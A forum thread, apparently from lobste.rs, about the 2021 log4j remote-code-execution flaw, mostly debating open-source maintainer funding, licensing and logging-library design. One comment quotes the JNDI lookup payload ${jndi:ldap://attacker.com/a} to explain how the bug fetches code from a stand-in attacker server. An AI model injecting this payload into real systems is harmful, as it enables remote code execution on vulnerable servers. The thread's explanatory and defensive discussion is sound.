-
RCE 0-day exploit found in log4j, a popular Java logging package lunasec.io
CVE -CVE-2021-44228 - critical log4j security vulnerability cve.mitre.org
via
lattera
1 year ago
‘The Internet Is on Fire’ wired.com
via
Yogthos
1 year ago
"Open Source" is Broken christine.website
authored by
cadey
1 year ago
Professional maintainers: a wake-up call blog.filippo.io
via
cadey
1 year ago
log4j: between a rock and a hard place crawshaw.io
authored by
crawshaw
1 year ago
On Paying Open Source Maintainers nadim.computer
authored by
nadim
1 year ago
Calculating my open source blast radius blog.yossarian.net
authored by
yossarian
1 year ago
Of all CVEs, this is probably the scariest I’ve seen given how trivial and how widespread it is. Scary.
Agreed. The more meta or tool-like the software package, the more widely-used, the bigger the potential security hole.
This is about as big as they come.
Not only do I unanimously agree, but this is the reason why I stopped putting licenses on my software. If a company wants a license, they can pay me, and individuals rarely care about licenses when they use software, which is perfectly fine (If a user cares enough, then they can contact me and I’ll grant them a lifetime license to modify and do whatever with it as long as it is non-commercial)
We need an idea of “Communal Software” that both fixes the problems that were created by the GPL (Mostly with respect to the GNU foundation defending copyright), and that removes the cruel, needless, disgusting exploitation that has been created from ESR’s right-libertarian “Open Source” concept.
Companies can fuck off. Mutually-owned coöperatives are where the future is.
I think I agree with you in spirit but I don’t understand why the GPL isn’t actually the solution. You say that it created problems. Can you elaborate?
The GPL has explicitly allowed companies to repeatedly exploit maintainers. You can argue that “As long as the companies contribute their changes / the rest of their codebase back to upstream, then it’s fine”, but the reality is that this has directly led to a situation where maintainers of software that is in many ways the “backbone of the internet”, are not getting paid for their work and effort (and in many cases, very literal sweat, blood, and tears), and large companies (Specifically those based outside the US, but there are some that are US-based too) are more or less completely free to ignore or avoid the GPL through spurious means, just because they have money. After all, who actually is going to know if their tiny weekend project is being used in an organization’s infrastructure? For many GPL projects, there is simply absolutely no way to know if a large company is using it. Even then, there’s no way to magically be alerted to the fact that modifications have been done that have not been released upstream.
And even then, when companies and organizations do contribute to upstream, when you want to explicitly disallow this usage (for example, ICE, which has an unbelievably laundry list of human rights abuses), it gives the right to those exploitative companies and organizations to fork and maintain a separate branch of your software.
Not only does Copyright rely on someone knowing that software has been modified, changed, or is being used unlawfully in the first place, but Copyright requires lawsuits to enforce licensing. This inherently favours those people with means to be able to combat unlawful use, legally. The reality is that most people are completely unequipped financially to combat license fees, and companies in most cases do a legal “war of attrition” which depletes say, the EFF or other actual legal entities (Unlike the GNU Foundation or the FSF) from fighting cases that actually, tangibly matter a hell of a lot more, like the Right To Repair. Culturally it’s a net-loss to have copyright in existence in the first place, and the GNU and the FSF’s peripheral fighting in favour of Copyright has them fighting on the same side as Disney – as a result, we are actively losing many works that are otherwise irreplaceable simply because it is outright illegal for individuals and many sorts of archival organizations to preserve the works.
It’s a drain of time, money and resources, and ultimately does not solve (and as mentioned earlier, often runs counter to) the crucial problem at hand, which isn’t “do I have legal right to access code that a company uses”, but rather “how do we stop mass-exploitation of workers within Software Development as a field?”
Well, you’ll know it as soon as someone from that organization opens an issue demanding support, pressuring you because their money is on the line. At that point, you’ve caught them.
That’s not specific to the GPL, all open source software allows that. The Open Source Definition even makes it explicit that an open source license can’t discriminate among any users or groups.
Again, the same is true for all open source licenses, and the argument that copyright itself is broken and should be abolished, is like the argument that doing crimes is bad therefore crimes should be abolished. It’s true, but it ain’t happening. So let’s talk about something more productive.
Yes, and “Open Source” was specifically created to allow exploitation of open source maintainers, so I’m struggling to see how you think you’ve caught me in some kind of “gotchya”. A major part of the advertising of Open Source was how it would allow companies to take code for free without paying for the labour of others. I am explicitly arguing against both Open Source, and Free Software.
The first is an argument and statement that has been made repeatedly, by people who literally make it their job to study Law – such as the author Lawrence Lessig, and the maintainers of pages like Public Domain Day at Duke Law School, the latter is a nonsensical tautology – crime is defined officially, as that which is illegal. So again, I do not understand what sort of point that you think you are making here.
I wasn’t aware that GNU fights in favor of copyright, are you sure that’s accurate?
There’s a writing by the GNU Foundation on it, I remember there being a news article too but I can’t find it. I remember that one of the “nordic block” countries were proposing to remove copyright from their legal system, and GNU/FSF heavily campaigned against it.
That’s wild but I guess it makes sense. Their political actions have typically been naive and unstrategic.
IMO the most unstragetic part here is the pointless sectarianism. Wasted effort criticizing a platform that won’t be implemented. As unstrategic but perhaps less embarrassing than passing out Trisquel discs outside the Mac Store.
This is mostly why I tend to license as AGPL3. Some individuals (myself for one) very much care about licenses and will generally avoid projects without one, but most companies have it on their “banned” list. If OTOH a company wants me to use a different license, well then that’s a lovely time to say “it’ll cost you X”.
You could take it one step further and have “buy a license change” button on the project page.
I could, but my preferred option is “fix your stupid license policy so you can cope with AGPL3”, so I’d prefer to lean them towards that even if it loses me some money!
Projects without a license can not be packaged and redistributed by Linux distros.
Here’s how it happened, I think.
A lot of this is self-inflicted. In no particular order and with limited coherence:
Creators suck at capturing the value they create, and even more at recognizing it. We write software to scratch itches or play with a new idea, and often identify its value as “oh a fellow creator might find this handy or neat” instead of “oh somebody could sell this to a niche market and make gorillions of dollars”. When we give this software away, we are surprised that we don’t capture that value. We tried patch that hole with Libre Software…
…but OG Libre Software assumed that most users were also creators, not rentiers. The idea was that you’d share your code with your friends/class allies and they’d be able to make use of it and share it with you, and so value got sequestered in the commons of software and helped everyone over time. As time has gone on, due to mistakes made by the developer community, we let rentiers take over the commons in exchange for a paycheck and this value stopped being sequestered where we could all use it. We could’ve probably drawn a line in the sand…
…except most developers–especially web developers and especially new developers–don’t understand why licensing is a big deal. GNU/FSF (who more people recognize right now probably from “stallman man bad” than from, you know, making Linux possible) didn’t just accidentally come up with the word salad of the GPL; there is in fact an important application of copyleft and in fact an important attempt to coerce companies into contributing back into the commons/benefitting our class allies/fellow creators. Without this coercion, rentiers will nearly always make use of software without giving anything back. If we had limited the amount of “open sources”/BSD/MIT-licensed software, this might’ve been okay, except…
…people keep releasing BSD/MIT-licensed software. I don’t want to be super hard-nosed about this, but it isn’t hard to make the argument that at best this is training non-creators that software has no value (because they don’t have to pay for it) and at worst it’s basically crossing the picket lines and buddyfucking everyone else trying to make a living at this. This might happen a little bit until people get educated…
…except that a lot of developers (myself included) use this as a way of smuggling IP out of and into employers/rentiers. If we had pushed back against assignments of invention, work for hire, NDAs, and so forth, I think it’d be a lot easier to hold the line on this. As it is, though, if you ever develop anything neat at an employer (especially in a market without moonlighting protections) your best bet is to try to get them to open-source it as BSD/MIT so you can use it yourself for your own business purposes (or get hired elsewhere to maintain/update a private fork, which would violate the GPL). And when it isn’t developers doing this to ourselves…
…it is rentiers using Open Source software as a weapon against other rentiers and individuals. There is strategic value in greasing the common development paths for competitors along the ways you want, in advertising your engineering culture, in spreading your tooling in a way that makes it super easy to switch to a paid plan, and overall in preventing the formation of engineering talent that you might have to compete with or for (because the next generation of engineers just use your library and there is little pressure to learn it themselves). It’s easy to figure out some of the driving commercial interests that push Open Source instead of Libre Software, and yet in spite of all of this…
…people who care about Libre Software almost always reject the market system we all work within. Like, if there was a compelling economic case for Libre Software, if folks hadn’t spent decades being armchair revolutionaries and making Libre Software the crazy uncle that nobody really wants to deal with, if folks hadn’t made working with them so unattractive to fellow creators that they’d rather deal with rentiers…well, maybe we wouldn’t be in this position. One of the most effective versions of GPL-but-pay-me is the licensing scheme Carmack used for the early Quake engines: released them as GPL, but you could pay to get a private license and consulting. A whole bunch of companies did that, a whole bunch of software got shipped that way, and everything worked out. If Libre folks could come down out of their ivory tower and engage similarly, we might expect it to be more of a factor in the marketplace.
~
All this to say…I don’t think “Open Source” is broken.
I think:
I’ve got other hot takes, but that’s enough for now. I’m happy that @cadey wrote about it, though I disagree with the take.
Thank you for breaking it down with such nuance. <3
Could you point out where this is stated in the GPL? I’m having trouble find this clause.
If you never distribute it, a private fork doesn’t even require source disclosure to anyone under GPL.
And that again is one of the places the Libre folks kinda dropped the ball, only to partially pick it up with the AGPL: what does “distribute” mean in the era of thin clients and web apps?
Well, that’s exactly what is addressed by AGPL, and why some smart SaaS developers are using it nowadays. E.g., https://reacher.email/
I think the FSF also completely dropped the ball when it came to this stuff. Like, a big part of the reason clang exists is that gcc was bad for modularity and hacking on research stuff, and a big reason for that was that RMS didn’t want to make it too extensible in case people used that for proprietary things.
Wow. This is eye-wateringly bad.
I know several sites that will be saved by outbound firewall rulesets that were considered somewhere between burdensome and unreasonable when we insisted on them. But it seems likely there will be exploits that don’t involve pointing JNDI at an attacker-controlled server, so that’s likely temporary.
I have had it pointed out to me that the LDAP URL includes a port number. Better check those outbound rulesets to see if they are draconian enough: allowlists of specific trusted servers are a good start.
Trivial to change the port as part of the exploit though
It does indeed allow a port number. The systems I’m thinking of were only allowed to connect to anything external through an HTTP proxy. CONNECT was not one of its features, and it had a short whitelist of remote systems they could reach.
It was a painful environment.
They’ll still be in a hurry to patch this. It sounds like a great way for someone who’s popped a less important box on the same network as the application servers to pivot, even if LDAP will never leave the LAN.
Dan Bernstein’s blanket advice, “Don’t parse,” is looking better and better. Obviously there are some situations where you have to parse user input, but logging is not one of them.
Yes, it’s a pain to extract correct information from text which is why a lot of platforms started moving towards structured logging instead. Instead of format(message, attributes) you log {message: …, attr1: …, attr2: …} and let the reader deal with each bit of it. It’s so much better and I hope we’ll kill the plaintext logs over time.
The point of logs has never been to extract data reliable for any nisson critical applications.
The goal of logging is to provide an overview of past executions for future diagnose in case of error.
Sure, one can derive metrics from them and so on. But if they old ao important information, then a more specialised system should be built for such information.
That’s a very strict split. In practice I’ve seen a lot of grey area, as well as change over time in what’s “important information”. Specialised systems for storing events are cool. But since logging will happen anyway, making it structured helps a lot in cases where you have to go through it.
To see this in action, see how many guides to splunk/dd/sumo/etc. start with 1. how to filter by text 2. how to parse the text. It’s going to happen in real world, so it’s good to make it easier.
Certainly strict enough to prevent being affected by ridiculous security holes like this embarassing exploit. Sorry. Couldn’t resist 😂
Seriously though. Your mindset is, in my opinion, not cautious. It is logging… Many bytes sequences of arbitrary formats are to be fed to it. Keeping the amount of abstractions and non dumb-simple behaviour higher than the minimum, is exposing yourself to unecessary dangers.
Did you know that the whole ruby ecosystem had its main package register compromized via an exploit found on a JSON library used in ruby on rails? Does this not make you think twice before logging JSON, for example? In all honesty, all this log4j fiasco doesn’t surprise me at all.
Those are two different things though. If anything, structured logging helps the situation because you attach the data as a new attribute rather than process the text message in any way. If that idea was applied here, we wouldn’t have the need for the post-processor at all.
I’m not worried about logging Json because in this case there should be no deserialisation happening. At this point any review tool will flag that you’re not using safe_load. Honestly I’m more worried about someone writing a bad parser for the logs because they need to use the text format which includes the necessary information - for example like this: https://www.cvedetails.com/cve/CVE-2013-7177/
patio11 has been here before as well (as a consumer).
Orange site link: https://news.ycombinator.com/item?id=10863939r)
fixed link for the exceptionally lazy
It’s sad for all the old minecraft modpacks that are from now on a security hazard to play,host or otherwise interact with. Basically destroying the legacy.
Well… don’t be.
The amount of trivial RCE in most modpacks is incredible. Many mod packs execute untrusted code from their clients directly and vice versa! Not to mention the very nature of a modpack is telling people to execute untrusted unsigned code from multiple sources.
Modded minecraft is as safe as it’s ever been.
There’s a significant difference between trusting a group of select modders to run code on your machine and trusting everyone on the server you’re playing on to run code on your machine. Neither is great exactly, but don’t try to equate them.
I agree as well, but this is an and situation, not an or but situation… Many mods do allow clients to talk to other clients.
I am responding to someone who sees one recent java CVE and throws their hands up saying, ‘welp, I guess that’s not secure anymore!’
Yeah you may as well distrust opensource at that point.. And running a server that can be pwned by connecting is a whole different story.
JVM is the easiest place to patch something like this.
Mojang has released official instructions for all Minecraft versions explaining how to patch servers, they’ll be fine.
https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition
Here they are. It looks like for older versions it’s either “pass a Java flag that disables the network lookups”, “set an XML policy that disables network access from logging”, or “it’s so old it doesn’t have the vulnerable code”.
Seeing this RCE has strengthened my belief that the best way to secure our production infrastructure is to eliminate dynamism at all levels – no runtime class loading, no shell, ideally no JIT or interpreter (unless, of course, the product is exposing an interpreter to the customer). It’s too bad that, except perhaps for Go, a fully static environment like an AOT-compiled language running in a distroless container fails the “boring technology” test, at least for a typical web application.
You’re halfway down the path to the best way to write secure and reliable applications!
I’ve always been a big proponent of keeping things static and eliminating dynamism, usually arguing for reliability and test-ability, but the security angle is an interesting addition to the argument. I wonder if one day we’ll consider dynamism everywhere to be as bad as memory unsafety.
I agree there’s a problem, but the solution isn’t obvious. I don’t think it’s enough for every github/gitlab page to have a tip jar or whatever – logistically speaking, not to mention that also creates a platform dependency. I think organizations like NumFOCUS are trying to bridge the gap and find organized ways of paying for the scientific Python ecosystem. I think most people involved in nonprofits know that identifying people with money and funneling into places is work of its own … (for better or worse)
Also, it sometimes it takes about 20 years to become fully aware of your dependencies :) I don’t think it’s a productive stance to guilt or badger people into paying for something you released under an open source license.
I mean my immediate dependencies of Python, vim, and compilers are clear. Although if you asked me 10 years ago, I wouldn’t really care which C or C++ compiler I used. It was just there. I’d say that most people who use gcc probably don’t know it by name; it’s part of some bigger stack. Like you download Clang with Xcode, etc.
Or you download “Linux Mint” and you have no idea what is in there. Even 15 years in, there’s tons of stuff in Linux and Ubuntu that I have no idea about. Like who even knows that re2c is a great piece of software that’s been around for 30 years, that takes specialized skill, that is used in PHP and Ninja :) (and Oil)
It’s also not clear to most users that LLVM/Clang and Linux are are largely paid for by corporations, but say gcc and vim are not. Python is somewhere in between; Alpine Linux too as far as I understand.
I just read “Working in Public”, which covers a lot of these issues. I think it’s a good book in that it describes a lot of things accurately and based on first hand sources, from people creating software. However it also doesn’t propose many concrete solutions.
https://nayafia.substack.com/p/22-working-in-public
My diagnosis is that computers did to programmers the same thing it did to all creators of information. That is both good and bad. Just 20 or 30 years ago, music used to be rare and valuable, but now it is common and almost free, etc.
This is related and and is a deeper analysis, although I’m not sure how much I agree or disagree (it changes based on the day haha): https://m.signalvnoise.com/open-source-beyond-the-market/
This is the biggest part of the issue. Why feel responsibility to people who don’t care about you?
It’s a fair question intellectually, but the emotional reality of open source maintainership is that when you’ve built something you care about and people are yelling at you about how some bug you feel responsible for not catching is ruining their lives, that has an emotional impact regardless of how logical it might seem to disregard any voice that isn’t paying me.
We are, at the end of the day, human.
Agreed. I’m not sure paying helps that particular problem. Being less shitty to other people would help, but I don’t see that happening either…
I have some projects where the process is like this: 1) make something because I want it, 2) put the code on GitHub and lightly publicise it because it’s something other people may want, 3) have it as my active project for a while, then 4) my interest in the project declines (it does what I need it to do) as its popularity and issue/pull request counts increase.
Your choices are: 1) invest much more time than you’re comfortable with fixing issues which don’t affect you for the benefit of people you don’t know, 2) invest a lot of effort to find a new maintainer and gamble with a lot of other people’s security, 3) officially kill it off and hope someone forks it, or 4) leave it unattended and constantly feel bad as issue counts, pull request counts and stars accrue. None of the options are easy and none of the options are good.
Having a somewhat popular open source project is the dream of every programmer who hasn’t had a somewhat popular open source project.
Yes, I usually pick 4 and figure if people really care about it they’ll offer to help. But you’re right none are ideal. But if someone came and offered to pay me full time for one of my “popular” projects I wouldn’t take it anyway. I guess I would suggest they the money and pay someone else to do maintenance work.
Should open source projects deliberately introduce more sharp edges to keep users on their toes, and maybe induce them to pay for support? Serious question
No, but if I do something as an unpaid passion project then I do it in the time I have for it and do what I like with it. If you want prompt security updates, that’s up to you. In most cases paying me would not help, since in my case I’m kinda busy.
Uh, I don’t understand. The exploit is triggered by code like this:
And the problem is that, apparently log4j parses the string somehow. This makes sense to me. This looks a lot like bugs which stem from using a user-controlled string as part of the format argument to printf. But since log4j parses the log message, surely it has something like printf’s “%s”, which lets you pass in a string as a separate argument which is logged verbatim and not parsed?
Or doesn’t log4j have any API to log arbitrary strings verbatim?
I don’t understand how this can happen at all. Is the problem that log4j’s logged string is supposed to be logged verbatim but then log4j … accidentally parses it and accidentally has a feature to download class files from the internet and inject them based on what it parsed? I don’t understand how something like that could happen accidentally, which leaves me to think that it’s an intended feature that the logged string is parsed, but if that’s the case, how can someone who makes (or even uses) a logging package not notice the issue before now?
I have so many questions.
Nope, it apparently happens in a post-processing step that operates on the whole string.
Well that’s just horrifying.
How does this even happen? Why would they intentionally parse untrusted input and fetch URLs contained in them?
It is related to the lookups you are allowed to do. The RCE comes in because for some reason one can load class files from an LDAP server via JNDI. This is multiple complex things that combined result in a nasty RCE.
I can understand everything that led to this, but I do not understand under which circumstance you want to store class files in LDAP and have them been loaded and executed by your JVM. That sounds really bizarre to me.
But… Why would I want to allow untrusted potentially malicious attackers to do arbitrary lookups? One of the main jobs of a logging library is, after all, to let me log some arbitrary input such as the path of a GET request or chat messages. This seems like a huge issue even if we ignore the particulars of how LDAP JNDI requests can load class files.
You don’t. Nobody sat down and said “yes, allowing arbitrary malicious code execution is a great idea, let’s add it to log4j”. What they did – and you can read the original feature request – was not intended to allow arbitrary malicious code to be executed. It’s just that the way they went about implementing this particular feature happened, by accident, to end up allowing arbitrary malicious code execution.
(and keep in mind that dependency injection is a major pattern in Java, so asking for a framework to add more points where DI can be performed is not generally something one is skeptical or suspicious of)
But this is literally someone sitting down and saying “yes, parsing untrusted data from a malicious attacker and doing network requests based on it would be a good idea, let’s add it to log4j”. The LDAP classpath loading is what makes this an RCE obviously, but if there was no way to use JNDI + LDAP to load classpaths, this would still be a terrible decision, no? Why would you want arbitrary untrusted attacker-controlled input to be parsed and let it trigger network requests of any kind? Why isn’t arbitrary attacker-controlled data treated as plain data which should be logged verbatim and not parsed?
It isn’t, though. A cursory look at the request suggests this kind info was still intended to only be read from static programmer-provided strings. The fact that user input gets parsed like this seems like a bug and very much not intended.
That said, the fact that Java even allows dynamically loading classes like this seems dangerous to begin with, and I think it’d be fair to say I want that kind of magic as far away from my logging library as possible.
Interesting, to me that’s a type error partly helped along by Java’s lack of strong type safety e.g. separating static format strings and dynamic parameters into different types that can’t be confused for each other.
The bit that reads
${jndi:ldap://attacker.com/a}looks like a JSTL EL, possibly evaluated via Commons EL.I wonder if that means other uses of Commons EL would also allow that LDAP outcall.
I think it’s unique to log4j, not using JSTL, it looks like it’s coming from this file: https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java.
Holy cow. I figured the JNDI interaction was a side effect of just opening a URL. Nope. Specific code right in there to invoke JNDI.
Have you considered Free Software? Edit: After merging, the context is no longer clear. I was asking @cadey, whose article did not contain the phrase “Free Software”, whether they have considered Free Software as an alternative to open-source software.
what if one does not want to be associated with the cringe that is the FSF and its re-established patron saint RMS? I think it is time for a free software movement outside of the FSF and its leaders.
Then build such a movement. But cringe or no, RMS was right about everything, and a lot of his detractors are actively hostile to the FSF’s notion of software freedom precisely because they have other political goals that they would like to advance via non-free software licensing.
There are Free Software licenses beyond what the FSF has published. I have a small list of licenses and would encourage you to consider CPAL, EUPL, a Creative Commons license with the “sharealike” feature, or WTFPL for licensing Free Software without using FSF resources.
Nonsense.
This is an opportunistic article that rides the current wave of attention but misdiagnoses the root problem. Lots of commercial software has been affected by this specific bug, by similar library bugs in the past even when the company has sponsored the source projects, and by similar design stupidity in their own code. This sort of bone-headedness isn’t the fault of an open-souce model, the problem is more fundamental to the nature of programming (and programmers).
You have misunderstood the article, whether accidentally or on purpose, I don’t know. It’s not trying to diagnose the root problem, it’s trying to say that many crucial foundational open source libraries are essentially unpaid, unsupported hobby projects and that this is morally wrong.
Thanks for an early warning, lobste.rs.
I would be remiss to not at least mention Tidelift as one of the groups working hard on this.
It’s also worth pointing out that not everyone wants to be full time on the project you happen to use and not every project has any good use for money. With log4j2 money is needed and useful, but for many other projects having your devs contribute would be more useful.
I didn’t know Tidelift existed until this comment. I will take a look and muse for a bit. Thanks!
That’s a really interesting idea.
Tbh I think this is a very good idea. Another idea (or group thereof) is something that looks a bit more like a collecting society - ranging from the Apache foundation sends the invoices through to actually changing license terms to make registration with a collecting society mandatory.
Tidelift (ht @singpolyma) is an example of what I’m talking about here. https://tidelift.com/
“Pay them” is bullshit. Why? These OSS projects are public and free because the creator chose so. Individuals from companies decided to do use them because they chose so, out of its perceived usefulness to solve their problem. Their employees allowed and incentivised them. And when shit happened, the project maintainers were not obliged to spend “countless hours” to fix the problem for those companies which dont pay them , they willingly chose to. And if they don’t care, they can happily leave the project behind right now and let the rest of the enterprise world pick up the pieces of what they left behind. This is the contract.
This thankless martyrdom speech misses the point. The whole java world uses log4j because it’s free. If it wasn’t, they’d probably reconsider using a logging library from which they need 10% of the features they could themselves implement in reasonable time and maintain in isolation. Because it’s free, they should have probably audited them. But the githubs and snyks and multiple package managers and CIs made it so trivial to outsource this concern, that we’re never prepared for the blast radius of popular packages chosen based on the number of github stars, and them we run to the public discussion forums that are github issues, where maintainers are publicly harassed about why jeff bezos is not going to get the same revenue dividend this month. How is money supposed to fix that?
I personally do OSS because I enjoy it, i get a kick out of it, and i get to go deep on topics i can’t afford to waste time in at my day jobs. I try to balance the time i spend doing it, and when i am not feeling it, I stop for a bit. I am cordial when people report bugs,and dont give them timelines, its fixed when its fixed. And i dont have donations set up. I work when i want. I l quit when I want. If you dont like it,fork it, and respect the terms of the license I chose. And that’s that.
No. This library is not critically by any stretch of the word. What’s wrong is this mentality of bringing in a library for such a silly reason as whatever the motivation is for using log4j.
It’s such a silly library that almost by design has to degrade into this kind of fiascos as it tries to do something “smarter” than the aleged problem it poses itself to solve. Concatenating/interpolating text and sending it to the output is something that every single language has solved since what? 40-50 years?
Consider Chesterton’s Fence. These libraries don’t come into existence for no reason.
What is the reason then?
I am not sure if you red the contents of the link you posted: “If you don’t see the use of it, I certainly won’t let you clear it away.” About a security feature no less. I don’t think there is more ironic and clear (and a bit funny, I dare to say) way an analogy could fail. No offense. I mean, it actually happens the exact opposite of the outcome of that tale.
I wish my company used something as good as log4j for our main products. I regularly have to deal with complex systems that break in all sorts of exciting and new ways, often involving something like 20-50 programs working together, using a couple different frameworks. At any given time, logs may go into: systemd, stdout/stderr, two different log systems managed by the framework we’ve developed, or wherever else the programmer thought was a good idea when they wrote it six years ago (it hasn’t been touched since because, idiosyncratic as it may be, it does work well).
You can obviously say “this is dumb and your software sucks” and you are correct, but even if I could wave a magic wand and make it as simple as it should be, it would probably still be 5-10 programs and a large amount of system orchestration, reliability tooling and monitoring/reporting stuff. Potentially spread across multiple different computers, all of which are critical parts of the system. Because sometimes the world is actually just complicated and you can’t reduce it all down to a mathematically ideal proof.
As for the analogy, it’s about having to make sure you understand why a decision was made before trying to change it. If you don’t understand why someone would want to use log4j or something like it, then how are you qualified to say “you shouldn’t need it”? I have a pretty good idea of why my job’s software is the way it is, which is why I’m now part of the team leading the charge to make it better.
I have used it in maybe half a dozen to a dozen ocasions in my professional life and every single one of them it was there for reasons other than solving a specific problem. Such as “we use it in this company”, “it came with the framework”, “we chose this log library” and so on.
Your example does sound like one of them. I don’t mean this in a condescending way: why is a prefix per application on all log entries not a valid solution? What exactly does log4j offer in that case?
A logging library makes it easy to standardize logging and log configuration. Maybe you start out logging noisy debug output to stderr, but later your operation grows and you want error logs from all your services to be collected in a central place, but keep around debugging or info logs locally. You don’t have to change all your programs to make this work, and the configuration is the same for all, which makes ops’ lives easier.
Also, if you’re writing a reusable library, using a logging library makes it easier for programs depending on your library to direct logs to their preferred locations. This works best when there’s a standardized logging library shared by all dependencies, because you only need to configure it once.
Making your own such library that does all those things you mention is trivial with neglectible effort.
I don’t think I need to explain the reason why I would do it everyday instead of pulling a dependency like log4j. But judging by the tone of the online discussions about this incident, I think most people actively refuse to learn something even from an unfortunate event like this one.
Just an anedoct for laughs if not anything else: a few years ago, a nodejs team in my workplace got reinforced with a developer from another team. A 50+ year old developer that had zero exposure to JavaScript. His only remark after the first workday was: “but if we work like this, each small thing pulls half the internet as a dependency, we have no clue of what our own program does, anything could happen.” Sure enough, not even a week had passed, the whole left-pad fiasco unfolds.
Sure, you make an excellent point. Unfortunately, making and debugging your own library just for logging when there are already several ready-made ones available is a losing proposition in most businesses.
We need some way to gauge code quality besides popularity. And not just code quality but also something like team culture, because like I said elsewhere, a library might be perfectly fine today but grow an insane feature like the one behind this vulnerability tomorrow. If the team doesn’t have good guidelines on what’s desirable and what isn’t, it won’t know when to push back against feature requests.
Hi, former Java developer here. We made good use of log4j, but not this newer variant. It’s maybe helpful to understand what’s different between the two. You’ll notice the feature creep of log4j2 is what introduced this security hole.
You are correct here, but you also I think miss the big picture. Things that modern logging is expected to do:
Starting out on a project, you’re absolutely correct that basic string interpolation and
printf()or whatever is probably good enough; but, many of us have experience of needing more advanced features quickly enough that we’re happy just starting with a sane library.Now, whether or not this should be built into the language is a whole additional question.
String concatenation is not what this library is for, it is for log routing, log management, easy support for different formats, transports , changing of log levels at runtime or via config changes etc.
I have build a lightweight tracing system on top of log4j at my previous job to make logs be traceable across services. It really is a toolbox for managing logs in complex environments, not concatenating strings.
There is a logging library build into the JDK commonly referred to as jul (== java.util.logging) that is fine for concatenating strings.
Exactly. The problem is not opensource, the problem is that the society doesn’t allow the time to “learn” and “think” anymore. As soon as you have a problem, however tiny, let’s google it and either copy/paste from stackoverflow or install a mysterious package that seems to solve the problem.
Once you have the “install a package” hammer, everything looks like “let’s find a package to do it” nail.
Java and Javascript communities are probably the worst offenders were this mentality is the more prevalent.
So the title “open source is broken” is form someone who clearly doesn’t understand what “open source” is.
I would say: “commercial programming is broken” -> as everything which is done at scale commercially or “java programming is broken” -> as it always has been, it’s by design.
Wow, you really have absolutely no idea what you are talking about. The apache logging project has been around for 20ish years and it is not some “mysterious package” that people find on stackoverflow. It is a well established logging framework. Just because you don’t have certain requirements does not mean people who have them don’t “think” or “learn”. Please keep your hubris to yourself.
This is probably the biggest RCE of the past decade. We’re going to see unpatched servers for years.
This is incredible. Thoughts going out to all the enterprise devops people forced to update their Magneto installs on the Friday two weeks before Christmas!
Thankfully, Magento is PHP and is unlikely to directly use Log4j.
(But indirectly? Who knows!)
Ah, I’ve seen at least one security researcher popping a Magneto install online with this so I just assumed it was Java based - presumably there was a Java component somewhere behind the scenes!
Which is exactly the problem of course - if any user supplied input can reach a backend Java component that logs it though log4j then you’re vulnerable.
Note the difference in spelling between your comments and soatok’s comment. Maybe you’re referring to two difference pieces of software?
Well, at least they didn’t release it the Friday before Christmas…
I was thinking just about that, it’s bad news for a friday :S
Yeah, at the MANGA that I work at, tickets were filed on all affected teams with instructions to treat this like a Sev 1.
“Treat this like a Sev 1” uniquely identifies your employer.
Maybe one company started it, but this expression is what I heard in many places. Including some that don’t use the same system, but people knew what Sev 1 means. (I’d probably write P1, even though that’s not a thing at my current job)
I doubt that. https://www.google.com/search?hl=en&q=Sev%201%20incident
How does the X-MEN supervillain come into this? ;-)
I was discussing this yesterday in the context of curl and Apple and how for large companies they could easily afford comparatively large donations to projects they depend on or ship but contribute next to nothing.
It’s my goal that if I ever end up running a software business to try to do better and contribute financially where possible to the projects I depend on. It’s no doubt hard to identify them all but starting with the primary ones and working down the tree would be a good start.
I admire the approach that the developer behind Buttondown has to this: https://docs.buttondown.email/behind-the-scenes/funding
Note that the mitigation listed by log4j themselves just involves config changes. These should be workable for most people.
Open source will survive us all =)
Could probably be a response in https://lobste.rs/s/ngrid5/rce_0_day_exploit_found_log4j_popular_java?
While the triggering event is the same (log4j CVE), I think that the content differs enough to be an independent post.
2.15.0 with the fix is on maven central https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/
happy patching!
Harsh but fair? I think in this case you don’t even need to read the code, just read the docs page by page. I didn’t even know log4j supported this feature, and I take this ignorance as a failing on my part.
Even if you read the entire log4j code, it might have grown this feature in a later version. I don’t think it’s feasible to be reading all the code changes that went into a release before upgrading. Granted, studying a changelog carefully might have revealed this (but then again, maybe it might not have, because it seems to be a problem with the implementation more than the idea)
I agree, this is a flaw in my proposal, I did not consider changes between releases, and IIRC this was introduced around 2015.
I’m opposed to the idea of a logger having patterns at all (e.g. env:, jndi:, etc). But as I say that, it’s even less realistic to audit dependencies for their “ideas” or “tenets “ or whatever.
One more realistic solution is static analysis of dependencies but again I am struggling to conceptualize it what I’d be looking for. The ideal UX is something like Android permissions applied to a dependency graph. “I’d like dependencies that don’t need network access but disk access is OK”.
If I understand correctly, the idea boils down to ordering features from and paying the maintainer of the project. I am not convinced companies would regularly pay 5-6 figure checks to do that when the ordered feature will be out of their control (unless the licensing model also changes). Small donations, “donations” in the form of code contributions or no donations at all are already in use and yielding some value. The ROI seems quite balanced already.
Also, wouldn’t that shift the model of open source/free software towards a paid service? When a maintainer has chosen such a business model, why would they bother implement anything of value to companies unless someone paid them to?
What is still needed for the proposal to work, I think, is the moral capacity to financially support open source/free software, which most companies seem to lack.
This is response to @cadey and @nadim.
While I agree that paying for the FLOSS is important thing, but the problem is - when the dependency is important enough that it should be paid for? I mean, it is always nice to pay for the dependencies, but sometimes such dependencies:
systemdlibrary supports that OotB). I do not expect any credits for library that has such minimal impact on the project. While it may expand in the future, it is still hard to put a distinctive line where the dependency is “important enough” and where it is “just convenience”. In many cases the problem will be spotted only when there will be some real fuckup, see GnuPG maintainers that started to receive some cash only after it spectacularly failed, OpenSSL IIRC was similar thing. The point is that we often do not know how much we rely on such software until it fails.https://idiomdrottning.org/keep-infrastructure-free
That’s my response to Cadey, Filippo and Nadim, i.e. to the more political/philosophical takes on this, which is more my wheelhouse & interest as opposed to more practical takes like Crawshaw’s or Yossarian’s. That’s not to say that I disagree with them, I liked the posts, just that they sent me thinking. Guh, I always have so much trepidation posting anything on here…
So, all the agreeing people here pay for their linuxes? Do you pay per machine? Per year? Both?
I regularly donate to both GNOME and Ubuntu, unlike the multi million dollar companies being discussed in the article. You can get out of here with this shaming whatsboutism nonsense.
Corporations are run by people too. I don’t understand what the difference is supposed to be between you using something w/o paying the maintainers and a corporation using something without paying the maintainers. You are both benefiting from it one way or the other.
They have more money than me and also they make more money from it than I do.
